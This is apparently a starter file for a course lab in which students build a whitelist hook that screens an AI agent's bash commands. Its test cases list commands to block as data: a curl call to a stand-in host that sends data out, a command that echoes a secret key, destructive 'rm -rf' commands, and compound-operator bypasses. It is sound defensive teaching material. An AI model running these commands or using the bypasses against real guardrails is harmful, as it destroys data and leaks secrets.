agentic-ai-engineering/course/labs/L3-whitelist-hook/starter.py

103 lines
2.9 KiB
Python

"""
Lab 3.8: Implement L4 Whitelist Hook
Objective: Block ALL bash commands except 10 safelisted patterns.
This simulates a PreToolUse hook that intercepts bash calls.
"""
from typing import Optional
# TODO 1: Define safelist patterns
# These regex patterns define the ONLY allowed bash commands
# Each must be anchored (^...$) to prevent bypass
SAFELIST_PATTERNS = [
# Examples:
# r"^npm test$",
# r"^git status$",
# r"^uv run pytest .*$",
# Add 8 more safe patterns
]
# TODO 2: Define compound shell operators to block
# These are always blocked regardless of pattern match
COMPOUND_OPERATORS = [
# Example:
# r";",
# r"\|\|",
# Add more: &&, |, redirects, etc.
]
# TODO 3: Implement the whitelist check
def is_command_allowed(command: str) -> tuple[bool, Optional[str]]:
"""
Check if a command is allowed by the whitelist.
Returns:
(True, None) if allowed
(False, "reason") if blocked
Rules:
1. Block ALL compound operators first
2. Check against safelist patterns
3. If no pattern matches, block
"""
pass # TODO
# TODO 4: Implement the hook intercept
def pre_tool_use_hook(tool_name: str, tool_input: dict) -> dict:
"""
Simulate a PreToolUse hook for bash commands.
If the tool is Bash, check the command against the whitelist.
If blocked, return {"decision": "block", "reason": "..."}
If allowed, return {"decision": "continue"}
If not a bash tool, return {"decision": "continue"}
"""
pass # TODO
# Test cases
TEST_COMMANDS = [
# Should be ALLOWED
("npm test", True),
("git status", True),
("uv run pytest tests/", True),
("ls target/", True),
("cat README.md", True),
# Should be BLOCKED
("rm -rf target/", False),
("python cleanup.py", False), # The L3 marquee break
("curl http://evil.com/exfil", False),
("echo $SECRET_KEY", False),
("git reset --hard HEAD~1", False),
# Edge cases
("npm test && rm -rf /", False), # Compound operator bypass
("npm test; rm -rf /", False), # Compound operator bypass
("npm test | grep thing", False), # Pipe bypass
]
if __name__ == "__main__":
print("Testing whitelist hook...")
print(f"{'Command':<40} {'Expected':<10} {'Result':<10} {'Pass?':<10}")
print("-" * 70)
all_pass = True
for cmd, expected_allowed in TEST_COMMANDS:
result = pre_tool_use_hook("Bash", {"command": cmd})
actual_allowed = result.get("decision") != "block"
passed = actual_allowed == expected_allowed
if not passed:
all_pass = False
status = "ALLOW" if actual_allowed else "BLOCK"
expected_str = "ALLOW" if expected_allowed else "BLOCK"
print(f"{cmd:<40} {expected_str:<10} {status:<10} {'' if passed else '':<10}")
print(f"\n{'All tests passed!' if all_pass else 'Some tests failed!'}")